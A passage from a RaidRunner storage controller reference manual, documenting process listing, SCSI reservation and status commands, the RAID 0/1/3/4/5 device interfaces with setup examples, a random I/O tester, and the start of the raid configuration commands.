      : raid; ps

      NAME____________________PID__PPID__PGRP_S_P_ST%_TIME(ms)__SEMAPHORE+name

      hyena                   0     0     0 R 9  18 385930     deadbeef

      init                    1     0     1 W 0   9 90         8009b1a8   pau

      SCN2681_reader          4     1     4 W 0   0 0          800702a4   2rd

      SCN2681_writer          5     1     5 W 0   0 0          8007029c   2wr

      SCN2681_putter          6     1     6 W 0   0 0          800702ac   2tp

      DIO_R_drive3_q0        391     1   391 W 0   4 40120      8021a828   Ard

      DIO_R_drive0_q0        397     1   397 W 0   4 13420      8007ac64   Ard

      DIO_R_drive1_q0        404     1   404 W 0   5 25570      8007b224   Ard

      husky                  28     1     1 W 0  10 50         8013a138   pau

      cache_flusher          424     1   424 W 0  23 17700      8030c2c4   Cfr

      CIO_R_q0               426     1   426 W 0  96 2320       8030d6f4   Ard

      CIO_R_q1               427   426   426 W 0  96 2420       8030d6f4   Ard

      CIO_R_q2               428   426   426 W 0  96 2410       8030d6f4   Ard

      CIO_R_q3               429   426   426 W 0  96 2430       8030d6f4   Ard

      CIO_R_q4               430   426   426 W 0  96 2240       8030d6f4   Ard

      CIO_R_q5               431   426   426 W 0  96 2130       80c37540   Ard

      CIO_R_q6               432   426   426 W 0  96 2300       8030d6f4   Ard

      CIO_R_q7               433   426   426 W 0  96 2180       8030d6f4   Ard

      smon                    65     1     1 W 0   5 30         8008d5e4   Nsl

      DIO_R_drive2_q0        326     1   326 W 0   5 27680      8007b7e4   Ard

      /bin/ps                871    28     1 W 0   8 40         80cfd020   pau

      stargd                 107     1     1 R 0  48 23990      8007a648   Nsl

      starg_107_L_R          119   107   119 W 0   0 0          8018c608   pau
    • The fields are: process name, process identifier (i.e. its pid), this process's parent's pid, pid of process group leader, process state, process priority, maximum stack utilization as % of available stack, milliseconds of CPU time registered, semaphore id (if any) this process is waiting on along with the internal name of the semaphore. If a process is waiting on a semaphore then the last number is the address of the number it is waiting on.
    • SEE ALSO: proc

    13.61 PSCSIRES - print SCSI-2 reservation table for all or specific monikers

    • SYNOPSIS:
      • pscsires
      • pscsires moniker
    • DESCRIPTION: pscsires looks up the Global SCSI-2 Reservation table for a given moniker (see smon or stargd) and prints is current SCSI-2 reservation state. When no moniker is given, all entries in the Global SCSI-2 Reservation table are printed. For each table entry to be displayed, the moniker and four integers are printed - the controller number, host port number, reserved scsi id and reservor scsi id. The combination of controller number, host port number, and reservor scsi id can uniquely identify which host system issued the SCSI-2 Reserve command. The reserved scsi id field is used when a Third-Party reservation has been requested by the host system identified by the other three integers. If all four integers are -1, then no scsi target daemon (smon or stargd) on any controller or host port has reserved the moniker.
    • SEE ALSO: smon, stargd, mstargd, SCSI-2 Reserve and Release Command Documentation

    13.62 PSTATUS - print the values of hardware status registers

    • SYNOPSIS: pstatus
    • DESCRIPTION: pstatus will print the names and values of various hardware status registers. Each value is printed on a lineof it's own. Typical hardware status registers are BCDSW_0, BCDSW_1. Values of BCD host port SCSI ID selector switches
      • FANS: Value of Fan status register
      • AC_PWR: Value of AC Power supply status
      • DC_PWR: Value of DC Power supply status
    • NOTE: Not all RaidRunner models support the same status registers, so consult you RaidRunner model's hardware reference manual to see which are supported and what their values imply.

    13.63 RAIDACTION- script to gather/reset stats or stop/start a raid set's stargd

    • SYNOPSIS: raidaction raidname up|down|getstats|getastats|zerostats
    • DESCRIPTION: raidaction is a husky script which is used to either start or stop a raid set's scsi target daemon(s) (stargd) or gather/reset statistics about the raid set.
    • OPTIONS :
      • raidset: Specify the raid set to perform the action on.
      • up: Start all the scsi target daemons associated with this raid set.
      • down: Stop all the scsi target daemons associated with this raid set.
      • getstats: Print the current statistics stored for the given raid set. The first line of output is prefixed with the string "RAIDSET:" and is the output of the stats command with arguments -r raidname -g. The second line of output is prefixed with the string "CACHE:" and is the output of the stats command with arguments -c raidname -g. The next line(s) are prefixed with the string "STARG: c.h.l" and is the output of the mstargd command with arguments -d 0 -v -h -H stargd_pid which stargd_pid is the process id of the scsi target daemon on controller c, host port h with scsi lun l. A line of this type is printed for each scsi target daemon belonging to this raid set.
      • getastats: Print the current statistics stored for the given raid set then zero all the stored statistics. By zeroing the stored statistics one can, through repeated timed calls to this code, form an average based on the gathered statistics. The output is the same as for the getstats option.
      • zerostats: Zero all statistics stored for the given raid set.
    • SEE ALSO: stats, mstargd

    13.64 RAID0 - raid 0 device

    • SYNOPSIS:
      bind -k {raid0 nbackends} bind_point

      echo moniker name=raid_set_name > bind_point/ctl

      echo engage drive=driveNum qlen=queueLen fd=aFdNum blksize=blockSize name=backendname

      <>[aFdNum] backEnd > bind_point/ctl

      echo disengage drive=driveNum > bind_point/ctl

      echo access drive=driveNum read-write > bind_point/ctl

      echo access drive=driveNum read-only > bind_point/ctl

      echo access drive=driveNum write-only > bind_point/ctl

      echo access drive=driveNum offline > bind_point/ctl

      cat bind_point

      ctl

      data

      repair

      stats
  • DESCRIPTION: raid0 implements a raid 0 device. It has 1 "frontend" (i.e. bind_point/data) and typically multiple "backends" (i.e. one defined by each "engage" message with a new drive number). To associate an internal name (or moniker) with the raid device, send the message "moniker name=internal_name" to the device's control file, bind_point/ctl. This implementation of raid 0 uses nbackends files in its backend. Read and write operations to the frontend (i.e. bind_point/data) must be in integral units of blockSize. Each write of blockSize bytes is written on 1 backend file. The backend "files" referred to here will typically be disks. The name argument allows associates the given backendname string with the appropriate backend. This string will be used in reporting errors on the running raid.

    • The queueLen argument must be 1 or greater and sets the maximum number of requests that can be put in a queue associated with each backend file. A daemon is spawned for each backend file to service this queue called async_io. Each backend file first needs to be identified to the raid0 device via the "engage" string sent to bind_point/ctl. If required a file can have its association with this device terminated with a "disengage" string. Once a backend file is engaged its access level can be varied between "read-write", "read-only", "write-only" and "offline" as required. The default is "offline" so in most initialization situations an "access read-write" string needs to be sent to this device. When the file bind_point/ctl is read then a line is output for every engaged backend file indicating its access status (e.g. "drive 3: engaged, read-write"). Also backend files that have been disengaged and not "re-"engaged output a line (e.g. "drive 5: disengaged").

    When the file bind_point/stats is read then a line is output which shows the cumulative number of reads and writes performed (including failures) for each backend of the raid device. The format of this line is D0 r0_cnt r0_fails w0_cnt w0_fails; D1 r1_cnt r1_fails w1_cnt w1_fails; ... which indicates that backend 0 (typically the drive0) has made r0_cnt reads, w0_cnt writes, r0_fails read failures and w0_fails write failures and that backend 1 (drive 1) has made r1_cnt reads, w1_cnt writes, r1_fails read failures and w1_fails write failures and so forth for each backend in the raid set.

    If the string "zerostats" is written to the file bind_point/stats then all cumulative read and write counts for each backend of the raid set are zeroed.

    • EXAMPLE:
      > /raid0

      bind -k {raid0 6} /raid0

      echo moniker name=R_0 > /raid0/ctl

      echo engage drive=0 qlen=8 fd=7 blksize=8192 name=D0

      <>[7] /d0/data > /raid0/ctl

      echo access drive=0 read-write > /raid0/ctl

      ...

      echo engage drive=5 qlen=8 fd=7 blksize=8192 name=D5

      <>[7] /d5/data > /raid0/ctl

      echo access drive=5 read-write > /raid0/ctl

    This example creates the file "/raid0" as a bind point and then binds the raid0 device on it. The first echo command establishes the internal raid device name as R_0. The subsequent echo commands are shown in pairs for each backend file: one sending an "engage" string and the other sending an "access" string to the file "/raid0/ctl". Each "engage" string associates a backend file (via file descriptor 7) with a block size of 8192 bytes and a maximum queue length of 8. The following "access" string adjusts the access level of the backend file from "offline" (the default) to "read-write". This is a six disk raid set.

  • NOTES: The size of the resultant raid set will be the size of the smallest backend multiplied by the number of data backends adjusted downwards to align to be a multiple of the raid set's blocksize (blockSize).
  • SEE ALSO: raid1, raid3, raid4, raid5

    • 13.65 RAID1 - raid 1 device

    • SYNOPSIS:
      bind -k raid1 bind_point

      echo moniker name=raid_set_name > bind_point/ctl

      echo engage drive=driveNum qlen=queueLen fd=aFdNum blksize=blockSize name=backendname

      <>[aFdNum] backEnd > bind_point/ctl

      echo disengage drive=driveNum > bind_point/ctl

      echo access drive=driveNum read-write > bind_point/ctl

      echo access drive=driveNum read-only > bind_point/ctl

      echo access drive=driveNum write-only > bind_point/ctl

      echo access drive=driveNum offline > bind_point/ctl

      cat bind_point

      ctl

      data

      repair

      stats
  • DESCRIPTION: raid1 implements a raid 1 device. Raid 1 is also known as "mirroring". It has 1 "frontend" (i.e. bind_point/data) and 2 "backends" (i.e. one defined by each "engage" message with a new drive number). To associate an internal name (or moniker) with the raid device, send the message "moniker name=internal_name" to the device's control file, bind_point/ctl. Read and write operations to the frontend (i.e. bind_point/data) must be in integral units of blockSize. Each write of blockSize bytes is written on both backend files. A read of blockSize bytes needs only to read 1 backend file (unless there is a problem). The backend file chosen to do the read is the one calculated to have its heads closer to the required block. The backend "files" referred to here will typically be disks.

    • The "logical" block size is currently 512 bytes and the given blockSize must be a power of 2 times 512 (i.e. 2**n * 512 bytes). If, for example, the blockSize was 8 Kb then a write of 8 Kb would cause both backend files to have that 8 Kb written to them. An 8 Kb read would cause the file calculated to have its "heads" closer to be read. If this file was marked "offline", "write-only" or reported an IO error then the other file would be read.

    The queueLen argument must be 1 or greater and sets the maximum number of requests that can be put in a queue associated with each backend file. A daemon is spawned for each backend file to service this queue called async_io. The name argument allows associates the given backendname string with the appropriate backend. This string will be used in reporting errors on the running raid.

    Each backend file first needs to be identified to the raid1 device via the "engage" string sent to bind_point/ctl. If required a file can have its association with this device terminated with a "disengage" string. Once a backend file is engaged its access level can be varied between "read-write", "read-only", "write-only" and "offline" as required. The default is "offline" so in most initialization situations an "access read-write" string needs to be sent to this device.

    When the file bind_point/ctl is read then a line is output for every engaged backend file indicating its access status (e.g. "drive 3: engaged, read-write"). Also backend files that have been disengaged and not "re-"engaged output a line (e.g. "drive 5: disengaged").

    When the file bind_point/stats is read then a line is output which shows the cumulative number of reads and writes performed (including failures) for each backend of the raid device. The format of this line is:

    D0 r0_cnt r0_fails w0_cnt w0_fails; D1 r1_cnt r1_fails w1_cnt w1_fails;

    which indicates that backend 0 (typically the drive0) has made r0_cnt reads, w0_cnt writes, r0_fails read failures and w0_fails write failures and that backend 1 (drive 1) has made r1_cnt reads, w1_cnt writes, r1_fails read failures and w1_fails write failures.

    If the string "zerostats" is written to the file bind_point/stats then all cumulative read and write counts for each backend of the raid set are zeroed.

    • EXAMPLE
      > /raid1

      bind -k raid1 /raid1

      echo moniker name=R_1 > /raid1/ctl

      echo engage drive=0 qlen=8 fd=7 blksize=8192 name=D1

      <>[7] /d0/data > /raid1/ctl

      echo access drive=0 read-write > /raid1/ctl

      echo engage drive=1 qlen=8 fd=7 blksize=8192 name=D5

      <>[7] /d5/data > /raid1/ctl

      echo access drive=1 read-write > /raid1/ctl

    This example creates the file "/raid1" as a bind point and then binds the raid1 device on it. The first echo command

    establishes the internal raid device name as R_1. The subsequent echo commands are shown in pairs for both backend files: one sending an "engage" string and the other sending an "access" string to the file "/raid1/ctl". Each "engage" string associates a backend file (via file descriptor 7) with a block size of 8192 bytes and a maximum queue length of 8. The following "access" string adjusts the access level of the backend file from "offline" (the default) to "read-write".

  • NOTES: The size of the resultant raid set will be the size of the smallest backend multiplied by the number of data backends (here just 1 as we are a mirror) adjusted downwards to align to be a multiple of the raid set's blocksize (blockSize).
  • SEE ALSO: raid0, raid3, raid4, raid5

    • 13.66 RAID3 - raid 3 device

    • SYNOPSIS
      bind -k {raid3 nbackends} bind_point

      echo moniker name=raid_set_name > bind_point/ctl

      echo engage drive=driveNum qlen=queueLen fd=aFdNum blksize=blockSize name=backendname

      <>[aFdNum] backEnd > bind_point/ctl

      echo disengage drive=driveNum > bind_point/ctl

      echo access drive=driveNum read-write > bind_point/ctl

      echo access drive=driveNum read-only > bind_point/ctl

      echo access drive=driveNum write-only > bind_point/ctl

      echo access drive=driveNum offline > bind_point/ctl

      cat bind_point

      ctl

      data

      repair

      stats
  • DESCRIPTION: raid3 implements a raid 3 device. It has 1 "frontend" (i.e. bind_point/data) and typically multiple "backends" (i.e. one defined by each "engage" message with a new drive number).

    • To associate an internal name (or moniker) with the raid device, send the message "moniker name=internal_name" to the device's control file, bind_point/ctl.

    This implementation of raid 3 uses at least 3 files in its backend. Read and write operations to the frontend (i.e. bind_point/data) must be in integral units of blockSize. Each write of blockSize bytes is striped (i.e. divided evenly) across (nbackends - 1) files with the "parity" on the other file. Subsequent writes will NOT rotate the file being used to store parity. [This rotation is a slight extension of the original raid 3 definition.] The backend "files" referred to here will typically be disks.

    The "logical" block size is currently 512 bytes and the given blockSize must be an integral multiple of (nbackends - 1) * 512 If, for example, the blockSize was 8 Kb and there were 5 backends then a write of 8 Kb would cause 4 backend files to have 2 Kb written on them and the other backend file to have 2 Kb of parity written on it. An 8 Kb read would cause the 4 files known to hold the data (as distinct from the parity) to be read. If any one of these files was marked "offline", "write-only" or reported an IO error then the 5th file containing the parity would be read and the 8 Kb block reconstructed.

    The queueLen argument must be 1 or greater and sets the maximum number of requests that can be put in a queue associated with each backend file. A daemon is spawned for each backend file to service this queue called async_io.

    The name argument allows associates the given backendname string with the appropriate backend. This string will be used in reporting errors on the running raid.

    Each backend file first needs to be identified to the raid3 device via the "engage" string sent to bind_point/ctl. If required a file can have its association with this device terminated with a "disengage" string. Once a backend file is engaged its access level can be varied between "read-write", "read-only", "write-only" and "offline" as required. The default is "offline" so in most initialization situations an "access read-write" string needs to be sent to this device. When the file bind_point/ctl is read then a line is output for every engaged backend file indicating its access status (e.g. "drive 3: engaged, read-write"). Also backend files that have been disengaged and not "re-"engaged output a line (e.g. "drive 5: disengaged").

    When the file bind_point/stats is read then a line is output which shows the cumulative number of reads and writes performed (including failures) for each backend of the raid device. The format of this line is

    D0 r0_cnt r0_fails w0_cnt w0_fails; D1 r1_cnt r1_fails w1_cnt w1_fails;
 ...

    which indicates that backend 0 (typically the drive0) has made r0_cnt reads, w0_cnt writes, r0_fails read failures and w0_fails write failures and that backend 1 (drive 1) has made r1_cnt reads, w1_cnt writes, r1_fails read failures and w1_fails write failures and so forth for each backend in the raid set.

    If the string "zerostats" is written to the file bind_point/stats then all cumulative read and write counts for each backend of the raid set are zeroed.

    • EXAMPLE:
      > /raid3

      bind -k {raid3 5} /raid3

      echo moniker name=R_3 > /raid3/ctl

      echo engage drive=0 qlen=8 fd=7 blksize=8192 name=D0

      <>[7] /d0/data > /raid3/ctl

      echo access drive=0 read-write > /raid3/ctl

      ...

      echo engage drive=5 qlen=8 fd=7 blksize=8192 name=D5

      <>[7] /d5/data > /raid3/ctl

      echo access drive=5 read-write > /raid3/ctl

    This example creates the file "/raid3" as a bind point and then binds the raid3 device on it. The first echo command establishes the internal raid device name as R_3. The subsequent echo commands are shown in pairs for each backend file: one sending an "engage" string and the other sending an "access" string to the file "/raid3/ctl". Each "engage" string associates a backend file (via file descriptor 7) with a block size of 8192 bytes and a maximum queue length of 8. The following "access" string adjusts the access level of the backend file from "offline" (the default) to "read-write". This is a 6 disk raid set.

  • NOTES: The size of the resultant raid set will be the size of the smallest backend multiplied by the number of data backends adjusted downwards to align to be a multiple of the raid set's blocksize (blockSize).
  • SEE ALSO: raid0, raid1, raid4, raid5

    • 13.67 RAID4 - raid 4 device

    • SYNOPSIS:
      bind -k {raid4 nbackends} bind_point

      echo moniker name=raid_set_name > bind_point/ctl

      echo engage drive=driveNum qlen=queueLen fd=aFdNum blksize=blockSize name=backendname

      <>[aFdNum] backEnd > bind_point/ctl

      echo disengage drive=driveNum > bind_point/ctl

      echo access drive=driveNum read-write > bind_point/ctl

      echo access drive=driveNum read-only > bind_point/ctl

      echo access drive=driveNum write-only > bind_point/ctl

      echo access drive=driveNum offline > bind_point/ctl

      cat bind_point

      ctl

      data

      repair

      stats
  • DESCRIPTION: raid4 implements a raid 4 device. It has 1 "frontend" (i.e. bind_point/data) and typically multiple "backends" (i.e. one defined by each "engage" message with a new drive number). To associate an internal name (or moniker) with the raid device, send the message "moniker name=internal_name" to the device's control file, bind_point/ctl. This implementation of raid 4 uses at least 3 files in its backend. Read and write operations to the frontend (i.e. bind_point/data) must be in integral units of blockSize. Each write of blockSize bytes is written on 1 backend file. Its neighboring (nbackends - 2) files need to be read at the same offset to calculate a new parity block which needs to be re- written. The nbackends blocks at the same offset on the nbackends backend files are called a slice. The parity block is, like in raid3, fixed as the last backend. A read of blockSize bytes needs only to read 1 backend file (unless there is a problem). The backend "files" referred to here will typically be disks.

    • The "logical" block size is currently 512 bytes and the given blockSize must be an integral multiple of (nbackends - 1) * 512 If, for example, the blockSize was 8 Kb then a write of 8 Kb would cause 1 backend file to have that 8 Kb written to it with the other (nbackends - 2) non-parity files in that slice having 8 Kb read from them in order to generate a new 8 Kb parity block which is then written to the parity file in this slice. An 8 Kb read would cause the file known to hold the data (as distinct from the parity) to be read. If this file was marked "offline", "write-only" or reported an IO error then the other ((nbackends - 1) files in the slice (i.e. (nbackends - 2) data and 1 parity) would be read and the 8 Kb block reconstructed.

    The queueLen argument must be 1 or greater and sets the maximum number of requests that can be put in a queue associated with each backend file. A daemon is spawned for each backend file to service this queue called async_io.

    The name argument allows associates the given backendname string with the appropriate backend. This string will be used in reporting errors on the running raid.

    Each backend file first needs to be identified to the raid5 device via the "engage" string sent to bind_point/ctl. If required a file can have its association with this device terminated with a "disengage" string. Once a backend file is engaged its access level can be varied between "read-write", "read-only", "write-only" and "offline" as required. The default is "offline" so in most initialization situations an "access read-write" string needs to be sent to this device.

    When the file bind_point/ctl is read then a line is output for every engaged backend file indicating its access status (e.g. "drive 3: engaged, read-write"). Also backend files that have been disengaged and not "re-"engaged output a line (e.g. "drive 5: disengaged").

    When the file bind_point/stats is read then a line is output which shows the cumulative number of reads and writes performed (including failures) for each backend of the raid device. The format of this line is

    D0 r0_cnt r0_fails w0_cnt w0_fails; D1 r1_cnt r1_fails w1_cnt w1_fails;
 ...

    which indicates that backend 0 (typically the drive0) has made r0_cnt reads, w0_cnt writes, r0_fails read failures and w0_fails write failures and that backend 1 (drive 1) has made r1_cnt reads, w1_cnt writes, r1_fails read failures and w1_fails write failures and so forth for each backend in the raid set.

    If the string "zerostats" is written to the file bind_point/stats then all cumulative read and write counts for each backend of the raid set are zeroed.

    • EXAMPLE
      > /raid4

      bind -k {raid4 5} /raid4

      echo moniker name=R_4 > /raid4/ctl

      echo engage drive=0 qlen=8 fd=7 blksize=8192 name=D0

      <>[7] /d0/data > /raid4/ctl

      echo access drive=0 read-write > /raid4/ctl

      ...

      echo engage drive=5 qlen=8 fd=7 blksize=8192 name=D5

      <>[7] /d5/data > /raid4/ctl

      echo access drive=5 read-write > /raid4/ctl

    This example creates the file "/raid4" as a bind point and then binds the raid4 device on it. The first echo command establishes the internal raid device name as R_4. The subsequent echo commands are shown in pairs for each backend file: one sending an "engage" string and the other sending an "access" string to the file "/raid4/ctl". Each "engage" string associates a backend file (via file descriptor 7) with a block size of 8192 bytes and a maximum queue length of 8. The following "access" string adjusts the access level of the backend file from "offline" (the default) to "read-write". This is a six disk raid set.

  • NOTES: The size of the resultant raid set will be the size of the smallest backend multiplied by the number of data backends adjusted downwards to align to be a multiple of the raid set's blocksize (blockSize).
  • SEE ALSO: raid0, raid1, raid3, raid5

    • 13.68 RAID5 - raid 5 device

    • SYNOPSIS
      bind -k {raid5 nbackends} bind_point

      echo moniker name=raid_set_name > bind_point/ctl

      echo engage drive=driveNum qlen=queueLen fd=aFdNum blksize=blockSize name=backendname

      <>[aFdNum] backEnd > bind_point/ctl

      echo disengage drive=driveNum > bind_point/ctl

      echo access drive=driveNum read-write > bind_point/ctl

      echo access drive=driveNum read-only > bind_point/ctl

      echo access drive=driveNum write-only > bind_point/ctl

      echo access drive=driveNum offline > bind_point/ctl

      cat bind_point

      ctl

      data

      repair

      stats
  • DESCRIPTION: raid5 implements a raid 5 device. It has 1 "frontend" (i.e. bind_point/data) and typically multiple "backends" (i.e. one defined by each "engage" message with a new drive number).

    • To associate an internal name (or moniker) with the raid device, send the message "moniker name=internal_name" to the device's control file, bind_point/ctl.

    This implementation of raid 5 uses at least 3 files in its backend. Read and write operations to the frontend (i.e. bind_point/data) must be in integral units of blockSize. Each write of blockSize bytes is written on 1 backend file. Its neighboring (nbackends - 2) files need to be read at the same offset to calculate a new parity block which needs to be re-written. The nbackends blocks at the same offset on the nbackends backend files are called a slice. The parity block is rotated from one slice to the next. A read of blockSize bytes needs only to read 1 backend file (unless there is a problem). The backend "files" referred to here will typically be disks.

    The "logical" block size is currently 512 bytes and the given blockSize must be an integral multiple of (nbackends - 1) * 512 If, for example, the blockSize was 8 Kb then a write of 8 Kb would cause 1 backend file to have that 8 Kb written to it with the other (nbackends - 2) non-parity files in that slice having 8 Kb read from them in order to generate a new 8 Kb parity block which is then written to the parity file in this slice. An 8 Kb read would cause the file known to hold the data (as distinct from the parity) to be read. If this file was marked "offline", "write-only" or reported an IO error then the other ((nbackends - 1) files in the slice (i.e. (nbackends - 2) data and 1 parity) would be read and the 8 Kb block reconstructed.

    The queueLen argument must be 1 or greater and sets the maximum number of requests that can be put in a queue associated with each backend file. A daemon is spawned for each backend file to service this queue called async_io.

    The name argument allows associates the given backendname string with the appropriate backend. This string will be used in reporting errors on the running raid.

    Each backend file first needs to be identified to the raid5 device via the "engage" string sent to bind_point/ctl. If required a file can have its association with this device terminated with a "disengage" string. Once a backend file is engaged its access level can be varied between "read-write", "read- only", "write-only" and "offline" as required. The default is "offline" so in most initialization situations an "access read-write" string needs to be sent to this device.

    When the file bind_point/ctl is read then a line is output for every engaged backend file indicating its access status (e.g. "drive 3: engaged, read-write"). Also backend files that have been disengaged and not "re-"engaged output a line (e.g. "drive 5: disengaged").

    When the file bind_point/stats is read then a line is output which shows the cumulative number of reads and writes performed (including failures) for each backend of the raid device. The format of this line is

    D0 r0_cnt r0_fails w0_cnt w0_fails; D1 r1_cnt r1_fails w1_cnt w1_fails;
 ...

    which indicates that backend 0 (typically the drive0) has made r0_cnt reads, w0_cnt writes, r0_fails read failures and w0_fails write failures and that backend 1 (drive 1) has made r1_cnt reads, w1_cnt writes, r1_fails read failures and w1_fails write failures and so forth for each backend in the raid set.

    If the string "zerostats" is written to the file bind_point/stats then all cumulative read and write counts for each backend of the raid set are zeroed.

    • EXAMPLE
      > /raid5

      bind -k {raid5 5} /raid5

      echo moniker name=R_5 > /raid5/ctl

      echo engage drive=0 qlen=8 fd=7 blksize=8192 name=D0

      <>[7] /d0/data > /raid5/ctl

      echo access drive=0 read-write > /raid5/ctl

      ...

      echo engage drive=5 qlen=8 fd=7 blksize=8192 name=D1

      <>[7] /d5/data > /raid5/ctl

      echo access drive=5 read-write > /raid5/ctl

    This example creates the file "/raid5" as a bind point and then binds the raid5 device on it. The first echo command establishes the internal raid device name as R_5. The subsequent echo commands are shown in pairs for each backend file: one sending an "engage" string and the other sending an "access" string to the file "/raid5/ctl". Each "engage" string associates a backend file (via file descriptor 7) with a block size of 8192 bytes and a maximum queue length of 8. The following "access" string adjusts the access level of the backend file from "offline" (the default) to "read-write". This is a six disk raid set.

  • NOTES: The size of the resultant raid set will be the size of the smallest backend multiplied by the number of data backends adjusted downwards to align to be a multiple of the raid set's blocksize (blockSize).
  • SEE ALSO: raid0, raid1, raid3, raid4

    • 13.69 RAM - ram based file system

    • SYNOPSIS: bind -k ram bind_point
    • DESCRIPTION: The ram file system uses memory on the target system's heap to support an hierarchical file system. Typically ram is the root file system in a husky environment. Unlike a normal file system ram lacks persistence. Therefore (assuming the heap resides in _non_ battery backed up RAM) when the target system loses power, the contents of the ram file system are lost. This is similar to the way the "/tmp" file system works in Unix.
    • SEE ALSO: mem

    13.70 RANDIO - simulate random reads and writes

    • SYNOPSIS: randio -d device -n nop [-b cnt] [-f fill_ch] [-i init_ch] [-o offset] [-s size] [-G grp_size] [-S seed] [-X xfer_size] [-M rdwr|rdonly] [-T seq|ran] [-vBDON]
    • DESCRIPTION: randio defines a range on the device from the start of the device to it's end, or for a length of size IN 512-byte BLOCKS, if specified, in which to perform. nop random write then read operations. All reads and writes are in multiples of 512 byte blocks. First, every block in the given range is initialized with a specific pattern. Then for each operation, a random location in the range is chosen and a random number of blocks are written with a specific data pattern. Once nop write operations have occurred, nop reads are performed at the appropriate locations and lengths to verify the previously written data. Lastly, all data on the device is verified. That is, any unwritten block should have only the initialization pattern and any block that was written to should have the appropriate data pattern. When a write of a given length occurs, each 512 byte block within the write has a header containing the operation number, the start of the write location, the length of write and the data fill pattern. The rest of each 512 byte block is initialized with a fill pattern. The output of this command provides the I/O transfer rates in Megabytes (MB) and million bytes (Mb) for the three phases of I/O, that is sequential writes, random writes then reads, and finally sequential reads. The size and offset values may have a suffix.
    • OPTIONS:
      • -b cnt: Restrict all read and write operations to be multiples of cnt x 512 blocks. The default is 1.
      • -f fill_ch: The data fill pattern used in writes should be fill_ch. fill_ch must be specified as a hex number. The default is 0x7F.
      • -i init_ch: The fill pattern used when initialising the device should be init_ch. fill_ch must be specified as a hex number. The default is 0x00.
      • -o offset: All reads and writes are to be performed offset 512-byte BLOCKS into the device. All reported values will be relative to this offset. The default is 0 i.e the start of the device.
      • -s size: The size, in 512-byte BLOCKS, of the range upon which we perform the io.
      • -v: Run in verbose mode printing out initialization information, and the final verification of the whole specified range on the device. If a second -v is given then details of individual read and write operations are printed.
      • -B: Align all random write locations to be a multiple of cnt x 512. Where cnt is specified by the -b option. This is useful when writing to raw raid devices which require both a fixed write size multiple and an aligned "start of write" address.
      • -G grp_siz: Normally, randio performs nop writes then nop reads. The -G option can change this to perform grp_siz writes then grp_siz reads looping until nop operations have occurred. The default "group size" if nop operations. If grp_siz is negative, then a random group size is chosen.
      • -M rdwr|rdonly: By default, a destructive read-write test is performed (-M rdwr). To run randio in a non-destructive way, specify this option with the sub-option of rdonly. This will result in randio only performing reads.
      • -N: By default, data read is always compared against what was written. By specifying this option, the comparison will not be made. This option is usefull when you are only concerned with performing random reads and writes and not if the data corrupts.
      • -O: By default, the random write locations and sizes are chosen so that they overlap. By specifying this option, overlapped writes can NOT occur. By careful when using this option if your device is small.
      • -S seed: Specify a seed for the random number generators.
      • -T ran|seq: By default, randio performs a sequence of sequential writes, random writes then reads and finally sequential reads. To have only the sequential activity performed, use the -T seq option. The default is -T ran.
      • -X xfer_size: Restrict the maximum write size to be xfer_size 512-byte BLOCKS. The default is 256 blocks - 128K bytes.
    • SEE ALSO: speedtst, suffix

    13.71 RCONF, SPOOL, HCONF, MCONF, CORRUPT-CONFIG - raid configuration and spares management

    • SYNOPSIS :
      • rconf -add -type raidtype -name raidname -size raidsize -iomode read-write|read-only|write-only -iosize raid- chunksize -hostif mflag controller host_port scsi_lun -backendsize backends_size -backends backend1,backend2,...,backendn [-boot auto|manual] [-cache raidcachesize] [-state active|inactive] [-usespares on|off] [-usezoneio on|off] [-qlen nqueues] [-stargs {xstargd_args}] [-hostif mflag controller host_port scsi_lun]
      • rconf -delete raidname
      • rconf -list [raidname] [-v]
      • rconf [-v]
      • rconf -mkfaulty -name raidname -drive drive_no
      • rconf -modify -name raidname [-iomode read-write|read-only|write-only] [-newname newraidname] [-hostif mflag controller host_port scsi_lun] [-boot auto|manual] [-cache raidcachesize] [-state active|inactive] [-usespares on|off] [-usezoneio on|off] [-qlen nqueues] [-stargs {xstargd_args}]
      • rconf -rebuild -name raidname -drive drive_no [-spare spare_backend]
      • rconf -repair -name raidname -drive drive_no -action start|finish [-depth value]
      • rconf -replace -name raidname -backend backendn -action start|finish [-depth value]
      • rconf -unrepair -name raidname -backend backendn -drive drive_no -depth value
      • rconf -init
      • rconf -fullinit
      • rconf -check
      • rconf -maxiochunk
      • rconf -validate
      • rconf -syslog
      • rconf -size
      • spool -add -name backend -backendsize backends_size -type hot|warm [-ctlr controller_number]
      • spool -delete -name backend
      • spool -list
      • spool
      • hconf -delete controller hostport
      • hconf -list [controller hostport]
      • hconf
      • hconf -modify controller hostport scsi_id
      • mconf -add controller hostport scsi_lun [blkprotocol]
      • mconf -delete controller hostport scsi_lun
      • mconf -sml
      • mconf -smldelete controller hostport
      • mconf -list [controller]
      • mconf [-C] [-c] corrupt-config
    • DESCRIPTION: rconf, hconf, mconf and spool manipulate raid set definitions, host port connections and the spares pool on a RaidRunner. All information is stored the RaidRunner configuration area which is stored in the file /dev/flash/conf and duplicated on every disk (/dev/hd/.../rconfig) on the RaidRunner. The corrupt-config command will corrupt the configuration areas and immediately reboot the RaidRunner.
      • Raid Sets: A Raid Set has the following attributes
        • Type : the Raid Type - either 0 (stripped backends), 1 (mirrored backends), 3 (stripped backends with parity on one backend), 5 (stripped backends with parity spread across all backends).
        • Name : the Raid Set's unique name used to make identification and access easier. A Raid Set's name must start with an alphabetic character and then have alphanumeric elsewhere. The maximum length of the name is 32 characters.
        • IOmode: the mode of access to the Raid Set. Access modes can be either read-write, read-only or write-only.
        • Size: the size (in 512 byte blocks) of the raid set if it's to be less than the calculated size. Normally a raid set's size is a function of the size of the raid set's backends (i.e type 0 - sum of backends, 1 - size of one backend, 3/5 - sum of backends less one). The Size must be a multiple of of the IOsize.
        • IOsize: the size (in bytes) of io for read and write operations to the raid set. This is commonly called the chunksize.
        • Cachesize: the size (in bytes) of any cache that will front-end the raid set. The cache size must be a minimum of 256K bytes (quarter megabyte). The cache size must also be a multiple of the raid set's IOsize.
        • Host Interface(s): the interfaces to use for access by a host. A raid set can be either single-ported or multi-ported. That is to say, a raid set can present different scsi disks all directed at itself. Naturally, the host(s) that access these disks must co-operate to ensure data integrity. Each host interface is a quartet of - a master/slave access flag, the controller number, the host port on that controller and lastly the SCSI LUN that the raid set should propagate on the host port. The master/slave access flag is used at boot time to configure the Host Interface's SCSI target daemon into either a full access (and hence spun up) master SCSI target or a minimal access (and hence spun down) slave SCSI target. See details on the -Z option on the mstargd command. This master/slave concept can be used by co-opera- tive hosts to share access to a single raid set via multiple SCSI target daemons. A raid set can only be multi-ported within a controller.
